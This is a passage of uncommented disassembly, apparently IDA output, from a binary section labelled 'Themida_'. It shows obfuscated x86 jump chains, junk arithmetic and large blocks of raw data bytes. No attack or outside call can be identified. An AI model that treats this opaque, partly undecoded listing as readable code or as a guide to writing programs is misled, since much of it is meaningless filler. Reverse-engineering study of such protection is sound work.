		dd 504C483h, 43DB5345h,	4EC81h,	0C890000h, 50FFB924h, 0D1F75E66h
		dd 0E981D9F7h, 213A4210h, 159C829h, 0BF5752D8h,	14D80AB6h
		dd 0F704E7C1h, 0BEEF81DFh, 0E926DC02h, 4640h, 65A4CE81h
		dd 0BF5744A3h, 2E03075Dh, 0E95FFE01h, 3095h, 9D1C77FFh
		dd 11665866h, 0E99C2404h, 0FFFFCB89h, 53BD6850h, 48B279Ch
		dd 64D3E924h, 0EF290000h, 5FF8295Dh, 7B3A7A25h,	0B6D9E957h
		dd 52530000h, 0F680D8B6h, 5AF7882Eh, 0FD885152h, 0B5E9EE88h
		db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561F7B:				; CODE XREF: Themida_:005736FDj
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	ebp
		mov	ebp, 4
		jmp	loc_572E37
; ---------------------------------------------------------------------------
		db 5, 0DDh, 4Bh
		dd 69E9035Bh
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561F97:				; CODE XREF: Themida_:0057280Aj
		add	ebp, 4
		jmp	loc_56B572
; ---------------------------------------------------------------------------
a_qsor		db '_QéOà',0
		align 2
		dw 15Bh
		dd 0C28358C2h, 24148704h, 8024248Bh, 0EC81D7EBh, 4, 0E9241489h
		dd 0D77Fh, 8B242C33h, 8B662424h, 16E92404h, 8B00003Fh
		dd 15E92434h, 810000E8h, 4C7h, 4C78100h, 57000000h, 42474FFh
		dd 0E9243C8Bh, 1155Ch, 7BE9D800h, 800000DFh, 0B551AEEEh
		dd 86C580D5h, 8FD2E9h, 57565900h, 0FFCFFBE9h, 0FE8852FFh
		dd 885AF188h, 585B59CEh, 23E9D6F6h, 810000DAh, 4C3h, 4BD5500h
		dd 1000000h, 0B3E95DEBh, 870000ACh, 0EEDAE9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56203E:				; CODE XREF: Themida_:005719E6j
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_56DB3D
; ---------------------------------------------------------------------------


loc_562052:				; CODE XREF: Themida_:00561355j
		pop	edi
		push	ecx
		jmp	loc_573C20
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 8Bh
		dd 8F682414h, 8900005Dh, 0E189240Ch, 4C181h, 29E90000h
		dd 3300009Ah, 248B2404h, 24042924h, 0CA4FE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562082:				; CODE XREF: Themida_:0056EB3Fj
		pop	ebx
		add	edi, 46213CA4h
		jmp	loc_571967
; ---------------------------------------------------------------------------
		dw 7CBDh
		dd 2925F7F7h, 242C8BEFh, 0BF75E9h, 7BE68100h, 53148615h
		dd 71C6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5620A9:				; CODE XREF: Themida_:00570A2Fj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5703C7
; ---------------------------------------------------------------------------
		dd 15E9E289h, 5E000112h, 394BBD55h, 0E9010198h,	81F1015Dh
		dd 98394BE9h, 2434FF01h, 10D77E9h
		db 0
; ---------------------------------------------------------------------------


loc_5620D5:				; CODE XREF: Themida_:00573F0Dj
		pop	edi
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_571F9D
; ---------------------------------------------------------------------------
aPtsu		db 'PTéž/',0
		dd 5AF32000h, 0FFF3B3E9h, 244C01FFh, 240C8B04h,	8B04C483h
		dd 0C483242Ch, 0E9555104h, 8D10h, 0C181E189h, 4, 4C181h
		dd 0C870000h, 0E9575C24h, 0A1D1h, 9D1C77FFh, 4105866h
		dd 9AE99C24h, 89FFFFC9h, 4C381E3h, 0E9000000h, 0FFFFF845h
		dd 348BF531h, 4C48324h,	55A4F581h, 0ED81543Ah, 291C33C2h
		dd 0F581D5F7h, 1885F42Dh, 6E9EB29h
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562167:				; CODE XREF: Themida_:0056BD71j
		push	edi
		sub	esp, 4
		jmp	loc_55EB6D
; ---------------------------------------------------------------------------
		db 81h
		dd 48084F1h, 0D6E1E999h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56217E:				; CODE XREF: Themida_:0056780Fj
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 67234C67h
		push	ebp
		jmp	loc_56FD40
; ---------------------------------------------------------------------------
		dd 5102ECC0h, 0EEE9B8B5h, 810000DFh, 3C712434h,	148B5122h
		dd 8E79E924h, 895C0000h, 0B9512434h, 5B095DE6h,	0E9595E51h
		dd 0FFFFFE7Bh, 0E904C483h, 0FFFFD64Ah, 0C381C301h, 0E976367h
		dd 8324048Bh, 0C38104C4h, 4, 8B241C87h
		db 2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_572FE1
; ---------------------------------------------------------------------------
aI4TH8s		db '‰4$T^h8S',0
		align 10h
		dd 0BD242C89h, 14D00C01h, 0D5F7E5D1h, 0BA52DDF7h, 30BF1596h
		dd 31A8E9h
		db 0
; ---------------------------------------------------------------------------


loc_562219:				; CODE XREF: Themida_:00561AD2j
		mov	[esp], edi
		mov	edi, 767F15DDh
		shr	edi, 2
		or	edi, 12EC10CBh
		shr	edi, 8
		push	esi
		mov	esi, 7A3C3EFBh
		and	esi, 7CE07C2Dh
		push	283Fh
		jmp	loc_55EB87
; ---------------------------------------------------------------------------


loc_562243:				; CODE XREF: Themida_:0056DC7Dj
		pop	ecx
		jmp	loc_568B08
; ---------------------------------------------------------------------------
aSius		db 'S‰ãé ¶',0
		dd 0C5EF8100h, 9AAB606h, 0E3C15FFBh, 24C38105h,	18C1800h
		dd 241C8BDDh, 4C481h, 31E90000h, 81000091h, 0E610C1C7h
		dd 81DF016Fh, 0E610C1EFh, 0C4C7816Fh, 5B6E2A1Ah, 13DFC181h
		dd 0E7E94636h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562293:				; CODE XREF: Themida_:005699F4j
		xor	edi, 678803BAh
		sub	edi, 0FFFFFFFFh
		jmp	loc_571559
; ---------------------------------------------------------------------------
		dd 5C243487h, 3BFB68h, 240C8900h, 0C9FEEAB1h, 0C830C130h
		dd 0D953E9h, 14F75500h,	242C8B24h, 4C481h, 29E90000h, 8100007Ch
		dd 78082444h, 5B5AFA36h, 582434FFh, 348B5456h, 4C48324h
		dd 4C681h, 0C6810000h, 4, 31243433h, 34332434h,	34FF5C24h
		dd 9BFBE924h, 1C870000h, 151BE924h, 148B0000h, 4C48324h
		dd 4C281h, 0C2830000h, 0D082E904h, 0C1830000h, 8E9C101h
		dd 7A656855h, 685D1A3Eh, 1C0Fh,	0B8240489h, 713C4EC7h
		dd 8904EC83h, 71BF243Ch, 0E9C49900h, 9513h
; ---------------------------------------------------------------------------


loc_562348:				; CODE XREF: Themida_:00561200j
		mov	ebp, esp
		jmp	loc_568D58
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4EC81h, 1C890000h, 525B5424h, 5017E9h, 0E9CB3000h, 0FFFFE40Ah
; ---------------------------------------------------------------------------


loc_562368:				; CODE XREF: Themida_:005705FBj
		not	ebp
		add	ebp, 0A24B9C4Ah
		add	ebx, ebp
		pop	ebp
		mov	edi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 18575CE9h
		inc	ebx
		shl	ebx, 8
		xor	ebx, 30154C1Fh
		jmp	loc_56C68E
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E2C108EAh, 79D7E906h, 14890000h, 2474FF24h,	0B7E95A04h
		dd 54000099h, 0FF2434FFh, 81592434h, 4C4h, 0FE5FE900h
		dd 0EC830000h, 24148904h, 570AE9BAh, 0AD6E96Fh,	0C6830000h
		dd 24343304h, 33243431h, 248B2434h, 0B2D5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5623DA:				; CODE XREF: Themida_:00566919j
		add	esp, 4
		jmp	loc_564BC2
; ---------------------------------------------------------------------------


loc_5623E5:				; CODE XREF: Themida_:00564D4Cj
		push	eax
		jmp	loc_56E697
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4121135Ch, 0FDE98141h, 814D0D5Ch, 242D1FE1h,	51504176h
		dd 0FE0462B9h, 59C88967h, 4B2DE940h, 34FF0000h,	0F0B4E924h
		dd 489FFFFh, 0A675B824h, 0C231E3F7h, 0DD30E958h, 515FFFFFh
		dd 107CCE9h, 4C48100h, 0
		dd 27CEE9F0h, 81580000h, 4C4h, 65E95E00h
		db 0F4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562447:				; CODE XREF: Themida_:00572B8Ej
		push	ebx
		mov	ebx, 1
		sub	edi, ebx
		pop	ebx
		not	edi
		sub	edi, 5E33DF0Ah
		xor	ebp, edi
		jmp	loc_561921
; ---------------------------------------------------------------------------


loc_56245F:				; CODE XREF: Themida_:00565FD1j
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56D752
; ---------------------------------------------------------------------------


loc_562469:				; CODE XREF: Themida_:00569972j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_56D001
; ---------------------------------------------------------------------------
		dd 0F87DE959h, 815CFFFFh, 4C4h,	6F7B6800h, 3C890000h, 81E78924h
		dd 4C7h, 4C78300h, 31243C33h, 3C33243Ch, 24248B24h, 0FF2434FFh
		dd 83592434h, 0D5E904C4h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5624AF:				; CODE XREF: Themida_:0056B979j
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_5653DC
; ---------------------------------------------------------------------------
		db 1
		dd 575258C5h, 1A3FB968h, 6FBFE937h, 0E9560000h,	5BC4h
		dd 418305ADh, 3405651Dh, 29367B2Ah, 2A342DD8h, 0BD55367Bh
		dd 15525545h, 24ABE581h, 0E5812C5Eh, 4DD86622h,	8EEBB53h
		dd 0DD315933h, 7C0EE9h,	241C8900h, 6990E9h, 2E9AC00h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562513:				; CODE XREF: Themida_:0056D2CEj
		not	ebx
		jmp	loc_56DF07
; ---------------------------------------------------------------------------


loc_56251A:				; CODE XREF: Themida_:00573299j
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		dd 4B850h, 44010000h, 0E9580424h, 28B7h, 5080BE56h, 0E0B903B9h
		dd 29056C79h, 8168E9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56254A:				; CODE XREF: Themida_:00561A9Ej
		xor	ebp, 0D2E6D40Dh
		add	ebx, ebp
		pop	ebp
		push	ecx
		push	eax
		jmp	loc_562C93
; ---------------------------------------------------------------------------
		dd offset dword_4E494C+31Ch
		dw 8900h
aSft		db '<$éäT',0
		db 0
; ---------------------------------------------------------------------------


loc_562567:				; CODE XREF: Themida_:00568C98j
		push	1330h
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_5619BB
; ---------------------------------------------------------------------------
		db 1, 0EFh, 81h
		dd 0AF551EEFh, 68505D2Eh, 4, 8124048Bh,	4C4h, 3CEF8100h
		dd 133360Fh, 0E541E9C7h, 0D6F7FFFFh, 30E9F587h,	8BFFFFDFh
		dd 89532404h, 4C381E3h,	57000000h, 4BFh, 5FFB0100h, 5C241C87h
		dd 558268h, 241C8900h, 2CD1BF57h, 0BE95035h, 530000D2h
		dd 8A0537BBh, 7A44E9BBh, 535C0000h, 157DBEBBh, 0E9D90141h
		dd 0C7CCh, 2AEB80h, 0B35351C3h,	0DAECE984h, 0E95DFFFFh
		dd 0FFFFEE9Ah, 28AAEA80h, 0F0285AD0h, 6D041404h, 24148B66h
		dd 2C481h, 0C3300000h, 0FFC0B60Fh, 57528734h, 3B093CBFh
		dd 0A4C78143h, 81530939h, 56F6F2EFh, 8BFA896Fh,	0C481243Ch
		dd 4, 0FFE74EE9h, 243489FFh, 0E300068h,	0C6815E03h, 7BF42323h
		dd 6803EEC1h, 604Fh, 0BB241C89h, 2BE54F8Bh, 197BE9h, 0FBE95900h
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56266B:				; CODE XREF: Themida_:0057189Bj
		sub	edi, 69A92227h
		add	edi, ebp
		add	edi, 69A92227h
		pop	ebp
		and	ebp, edi
		pop	edi
		push	esi
		mov	esi, 0BFEFCB80h
		add	ebp, esi
		pop	esi
		push	ebp
		pop	dword ptr [edx+30h]
		mov	ebp, [esp]
		jmp	loc_565FF9
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9241C89h, 0FFFFF212h, 5022C380h, 0C8FE29B0h, 0B6E9D0F6h
		dd 81000099h, 4ECh, 243C8900h, 4ED56856h, 815E070Fh, 0C50370F6h
		dd 0DEF7460Ch, 9C23F681h, 0F7898090h, 8124348Bh, 4C4h
		dd 7EFC100h, 2B19E9h, 24148900h, 0FFE22EE9h, 7DE6B9FFh
		dd 0CB296CE7h, 0E9DBF759h, 9871h
; ---------------------------------------------------------------------------


loc_5626F8:				; CODE XREF: Themida_:005602FCj
		mov	ebx, ebp
		jmp	loc_57370E
; ---------------------------------------------------------------------------
		db 0BEh
		dd 38E12A61h, 0C681DEF7h, 42AB418Bh, 4BD9C681h,	0E957432Ah
		dd 2E03h, 4A3B9FBAh, 0E850E926h, 0C9810000h, 1BAB5BEAh
		dd 413BF181h, 0CD293DE4h, 0E9240C8Bh, 1F47h, 81D6015Ah
		dd 0F82867EEh, 5353E93Bh, 0C4810000h, 4, 285AB151h, 532C59CAh
		dd 0B551D028h, 7F87E953h, 0FF640000h, 0C36BE932h, 0F280FFFFh
		dd 0F4C2808Fh, 0E96FF280h, 0AB36h, 15AD029h, 88BE56E8h
		dd 5774C310h, 0C603E9h,	0E6E95D00h, 68000047h, 4CA5h, 0B8240489h
		dd 46EA20CEh, 0E958C709h, 65C3h
; ---------------------------------------------------------------------------


loc_5627A0:				; CODE XREF: Themida_:0056F921j
		pop	cx
		add	dx, 0A01Fh
		push	esi
		mov	si, dx
		mov	bx, si
		jmp	loc_57312A
; ---------------------------------------------------------------------------
		db 81h
		dd 5752C0EFh, 0E9D72930h, 0FFFFC7BEh
; ---------------------------------------------------------------------------


loc_5627C0:				; CODE XREF: Themida_:00570E43j
		and	eax, edi
		pop	edi
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ecx
		push	6EFh
		mov	[esp], edi
		push	5D1Ah
		jmp	loc_55F5E3
; ---------------------------------------------------------------------------


loc_5627DF:				; CODE XREF: Themida_:0055EAE8j
		mov	dh, 89h
		add	dh, 57h
		add	dh, bl
		sub	dh, 57h
		pop	ebx
		sub	dh, 89h
		jmp	loc_56B517
; ---------------------------------------------------------------------------


loc_5627F2:				; CODE XREF: Themida_:00562B36j
		mov	ebx, 11C242E5h
		jmp	loc_5662BD
; ---------------------------------------------------------------------------
		dd 4513EB81h, 0EBC11982h, 0E74BE908h, 0C481FFFFh, 4, 1472C181h
		dd 34FF3495h, 0C4835A24h, 27EE8104h, 29468645h,	27C681CEh
		dd 0E9468645h, 2D26h
; ---------------------------------------------------------------------------


loc_562830:				; CODE XREF: Themida_:0056FD88j
		push	ebx
		mov	ebx, 0E481FA8Fh
		push	490h
		mov	[esp], edi
		push	6C81h
		mov	[esp], ecx
		push	ebp
		push	7BA51FD2h
		pop	ebp
		sub	ebp, 235A74DFh
		neg	ebp
		neg	ebp
		xor	ebp, 3A48E0DAh
		jmp	loc_56D2DA
; ---------------------------------------------------------------------------
aSr		db '\éR',9,0
		align 4
		dd 0E932FF66h, 0FFFFC261h, 0BF575D5Bh, 7BF46A47h, 0B759E957h
		dd 0E9590000h, 0FFFFF777h, 0E924048Fh, 643Ah, 88CE8852h
		dd 0D0F65AF0h, 81E9FF2Ch
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56289B:				; CODE XREF: Themida_:0056563Aj
		sub	esp, 4
		jmp	loc_5707A1
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 3DE95E00h, 87FFFFD8h, 895C2404h, 4B82404h, 81000000h
		dd 362A7FC6h, 81C60118h, 362A7FEEh, 54E95818h, 810000AAh
		dd 0DF8FBBEEh, 5EF001D0h, 0E958C201h, 0FFFFF025h
; ---------------------------------------------------------------------------


loc_5628E4:				; CODE XREF: Themida_:005662F0j
		and	edx, 17A66044h
		push	ebp
		jmp	loc_56132B
; ---------------------------------------------------------------------------
aBK5rsq		db ']êK',9,'5réq¼',0
		align 4


loc_5628FC:				; CODE XREF: Themida_:00563CC9j
		push	1A1Bh
		mov	[esp], edi
		push	3373181Bh
		push	dword ptr [esp]
		jmp	loc_56C14D
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 53h
		dd 0C3E3E9h, 2A20500h, 0B9514394h, 2B7B0863h, 549CE9h
		db 0
; ---------------------------------------------------------------------------


loc_562929:				; CODE XREF: Themida_:00567FEDj
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		pop	ecx
		push	esi
		mov	esi, 41957BABh
		sub	ecx, 5F3E7D8Bh
		sub	ecx, esi
		add	ecx, 5F3E7D8Bh
		pop	esi
		push	dword ptr [esp]
		pop	ebp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	esp, 4
		jmp	loc_567154
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C3h
		dd 3F895C35h, 10E9C301h, 0F0000FDh, 6568C8BEh, 8900007Bh
		dd 0E954241Ch, 873Ah, 0FF242C89h, 0E9042474h, 0F757h, 0E9E38953h
		dd 6937h, 2C481h, 0F3280000h, 8020B252h, 0EAC0F4C2h, 15F28003h
		dd 0C735E9h, 0A2055800h, 149E211h, 11A22DC8h, 0C8B49E2h
		dd 27DBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5629BA:				; CODE XREF: Themida_:00569201j
		mov	esp, [esp]
		jmp	loc_566DC8
; ---------------------------------------------------------------------------
		dw 368h
		dd 0E900006Fh, 8D9Ch
; ---------------------------------------------------------------------------


loc_5629CC:				; CODE XREF: Themida_:005709B6j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	0F7Bh
		mov	[esp], eax
		mov	eax, 4A7D5B28h
		push	edx
		jmp	loc_56F015
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 0F3DBE9h,	57EE8700h, 243C8B56h, 81E38953h, 4C3h
		dd 4C38300h, 0E9241C87h, 4216h
; ---------------------------------------------------------------------------


loc_562A0C:				; CODE XREF: Themida_:005689FEj
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_56497B
; ---------------------------------------------------------------------------


loc_562A24:				; CODE XREF: Themida_:005668C2j
		pop	esp
		mov	edi, [esp]
		push	esi
		jmp	loc_56B56B
; ---------------------------------------------------------------------------
		dw 0FF55h
		dd 0FF042474h, 815D2434h, 4ECh,	0B889E900h, 14890000h
		dd 2AE95424h, 31000026h, 89E92434h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562A53:				; CODE XREF: Themida_:0056861Cj
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, 0AD374179h
		jmp	loc_569B4C
; ---------------------------------------------------------------------------
		dd 24048966h, 0FFDC5EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562A6D:				; CODE XREF: Themida_:00573EE5j
		mov	eax, 48C56509h
		push	esi
		push	41CCh
		mov	[esp], ebp
		jmp	loc_56F8F7
; ---------------------------------------------------------------------------


loc_562A80:				; CODE XREF: Themida_:00573EA7j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56A3FF
; ---------------------------------------------------------------------------
		dd 295EF231h, 0C2015AD0h, 4C28358h, 8B241487h, 22E92424h
		dd 81FFFFC0h, 924441EEh, 0A1E95D16h, 0BA00009Eh, 0D974D6Dh
		dd 575AD309h, 0BD0EADBFh, 14C9E92Bh, 0D8010001h, 0C63F5C2Dh
		dd 4EC8353h, 5174E9h, 0E9D2F700h, 0FFFFF1A6h
; ---------------------------------------------------------------------------


loc_562AE4:				; CODE XREF: Themida_:00569479j
		xor	[esp], ebp
		jmp	loc_5689E0
; ---------------------------------------------------------------------------
		dd 0E9243C89h, 1085Eh
; ---------------------------------------------------------------------------


loc_562AF4:				; CODE XREF: Themida_:00563575j
		mov	ecx, 286713ABh
		or	ecx, 554B6279h
		jmp	loc_56B684
; ---------------------------------------------------------------------------
aSR		db '!Æé½à',0
		dw 0AD00h
		dd 0E6068h, 243C8900h, 3A63B850h, 0E8C1474Fh, 0D8F74803h
		dd 8904EC83h, 49B9240Ch, 0C17E0509h, 0D1F705E1h, 0FD7DE9h
		db 0
; ---------------------------------------------------------------------------


loc_562B35:				; CODE XREF: Themida_:0056A691j
		push	ebx
		jmp	loc_5627F2
; ---------------------------------------------------------------------------
		db 29h
		dd 0E95759CAh, 0FFFFC955h, 0F5E9FE89h, 51000060h, 0FF1EE9h
		dd 0EB814300h, 0E605139Dh, 32E9DF29h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562B5F:				; CODE XREF: Themida_:0056BD55j
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_57130D
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0B9515324h, 4, 8959CB89h, 0BDE95BD9h
		db 0C5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562B83:				; CODE XREF: Themida_:0056E8E0j
		push	ecx
		mov	cl, 59h
		add	bl, cl
		jmp	loc_56713B
; ---------------------------------------------------------------------------
		db 5Ah,	52h, 81h
		dd 27702404h, 815B56A0h, 0A02770EBh, 2502E956h,	0E8280000h
		dd 51240C8Bh, 0C1815954h, 4, 8704C183h,	0E95C240Ch, 10AD1h
		dd 67D1BF57h, 0EFC1110Dh, 0DEB85004h, 25562346h, 36995FCDh
		dd 0E0D1D0F7h, 0E060AA2Dh, 58C70176h, 4EF78147h, 0E921E637h
		dd 34E9h, 8B5AD601h, 0C483243Ch, 699FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562BF6:				; CODE XREF: Themida_:00563A81j
		mul	cl
		movzx	cx, ah
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 630A141Dh
		add	esi, 6B912F1h
		xor	esi, 0C9C5B89h
		push	ebp
		mov	ebp, 358F0AD5h
		or	ebp, 22106237h
		sub	ebp, 269C114Dh
		xor	esi, ebp
		pop	ebp
		sub	esi, 745C2529h
		add	edx, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_567B3F
; ---------------------------------------------------------------------------


loc_562C45:				; CODE XREF: Themida_:00565C95j
		shl	eax, 1
		or	eax, 78AD2BE8h
		shr	eax, 8
		dec	eax
		sub	eax, 0F6D08718h
		jmp	loc_5716C8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		push	1217h
		mov	[esp], ebx
		jmp	loc_55FC4D
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0D40CF574h, 7F6CE9h,	0BDE95E00h, 81000112h, 78631BEFh
		dd 6E9550Eh
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562C93:				; CODE XREF: Themida_:00562555j
		mov	eax, 6763504Fh
		mov	ecx, 0BB21CF4Ch
		sub	ecx, eax
		pop	eax
		and	ebx, ecx
		jmp	loc_56C639
; ---------------------------------------------------------------------------
		db 88h
		dd 5AD488FAh, 86E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_562CB1:				; CODE XREF: Themida_:005604A1j
		mov	esp, [esp]
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		db 0D1h, 0EAh, 81h
		dd 1765E4CAh, 0A4E28145h, 0E927AA5Fh, 4E45h, 0AFE95954h
		dd 68FFFFD2h, 62Ah, 51242489h, 0FFCD83E9h, 14F757FFh, 1753E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562CEA:				; CODE XREF: Themida_:0056E362j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_567331
; ---------------------------------------------------------------------------
		db 5Ch,	59h, 0
		dd 0C3805BF8h, 0BBC380E0h, 38E9C300h
		db 0A3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562D07:				; CODE XREF: Themida_:00565BBDj
		sub	esi, 0A5272CD7h
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	4EEBh
		mov	[esp], edx
		mov	edx, 404D3746h
		jmp	loc_565B3B
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0BFE90000h, 810000C4h, 204802F6h, 8BF50118h,	8BE92434h
		dd 89000012h, 0B9BD242Ch, 810EC728h, 5CC1E0C5h,	5DE801D2h
		dd 0A52AE9h
		db 0
; ---------------------------------------------------------------------------


loc_562D5D:				; CODE XREF: Themida_:005739D4j
		push	1EF7h
		mov	[esp], eax
		push	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_56F656
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0C6830000h, 24348704h, 9C68555Ch, 5D58B550h
		dd 4375E581h, 0ED8175B6h, 50B44010h, 0E95DE901h, 0FFFFF1A4h
		dd 24048F5Eh, 0FFF6CDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562DAD:				; CODE XREF: Themida_:00572DE7j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, bl
		mov	[edi+eax*4], dh
		jmp	loc_569F95
; ---------------------------------------------------------------------------
		dd 8B66C830h, 0E955240Ch, 0F79h, 8104EBC1h, 3DC5C9EBh
		dd 3F7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562DDE:				; CODE XREF: Themida_:0056CE79j
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		push	31604BB9h
		pop	eax
		shr	eax, 8
		shr	eax, 5
		xor	eax, 18B1Eh
		jmp	loc_567680
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 0Ch
		db 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562E03:				; CODE XREF: Themida_:005641AEj
		mov	edx, edi
		pop	edi
		pop	eax
		dec	edx
		not	edx
		add	edx, 1C667DC1h
		add	edx, 2B5327C2h
		jmp	loc_56F181
; ---------------------------------------------------------------------------
		db 29h
		dd 50C581CDh, 8143AB44h, 723452EDh, 240C8B6Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		jmp	loc_571271
; ---------------------------------------------------------------------------
aQs		db '[Qéµ=',0
		dd 9EF78100h, 0E96FD9C0h, 0C175h
; ---------------------------------------------------------------------------


loc_562E58:				; CODE XREF: Themida_:0057275Cj
		shr	eax, 0Ch
		jmp	loc_5607BB
; ---------------------------------------------------------------------------
		dd 0F603EEC0h, 3E2FE9D6h, 0D7F70000h, 68DE781h,	56E94608h
		dd 810000A6h, 203C6FE3h, 0D4BD5510h, 81439A45h,	4724D2EDh
		dd 5DEB093Ch, 2567BA52h, 0D3311773h, 0E959535Ah, 0CB83h
		dd 55AD029h, 2F2299E4h,	7EA9C781h, 0C7011564h, 7EA9EF81h
		dd 81581564h, 723834EFh, 8BF92903h, 0DFE9243Ch,	5200004Dh
		dd 6D249EBAh, 5AD30907h, 24C1E9h, 88E95C00h
		db 7, 1, 0
; ---------------------------------------------------------------------------


loc_562ED7:				; CODE XREF: Themida_:005736C7j
		add	dword ptr [esp+4], 0E0B50EEh
		mov	esi, [esp]
		push	47CBh
		jmp	loc_56F129
; ---------------------------------------------------------------------------


loc_562EEC:				; CODE XREF: Themida_:0056D100j
		mov	[esp], ecx
		push	1AFEh
		jmp	loc_566ECA
; ---------------------------------------------------------------------------


loc_562EF9:				; CODE XREF: Themida_:005635B6j
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	0D03h
		mov	[esp], ebx
		jmp	loc_560783
; ---------------------------------------------------------------------------
		dd 0C0F8B450h, 5DE905ECh
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562F1B:				; CODE XREF: Themida_:0056B2A1j
		shl	edi, 5
		push	eax
		push	edx
		mov	edx, 3290A040h
		jmp	loc_55F323
; ---------------------------------------------------------------------------


loc_562F2A:				; CODE XREF: Themida_:005600DBj
		add	eax, ecx
		add	eax, 7E0E2B95h
		mov	ecx, [esp]
		jmp	loc_563C67
; ---------------------------------------------------------------------------
		db 0FEh, 0CAh, 80h
		dd 0D300CDEAh, 2EB805Ah, 88D98851h, 1C8B59CCh, 0D072E924h
		dd 34FF0000h, 57ADE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562F5A:				; CODE XREF: Themida_:00563556j
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_567CDF
; ---------------------------------------------------------------------------
		db 87h
		dd 0C8C581FDh, 290B63F7h, 242C8BE9h, 7C84E953h,	0CB810000h
		dd 15C6350Ah, 2E90F381h, 0DA290F51h, 0A0D4E9h, 0E96EB100h
		dd 0B8FEh, 0E32BD55h, 0E8295240h, 50555B5Dh, 261BBB53h
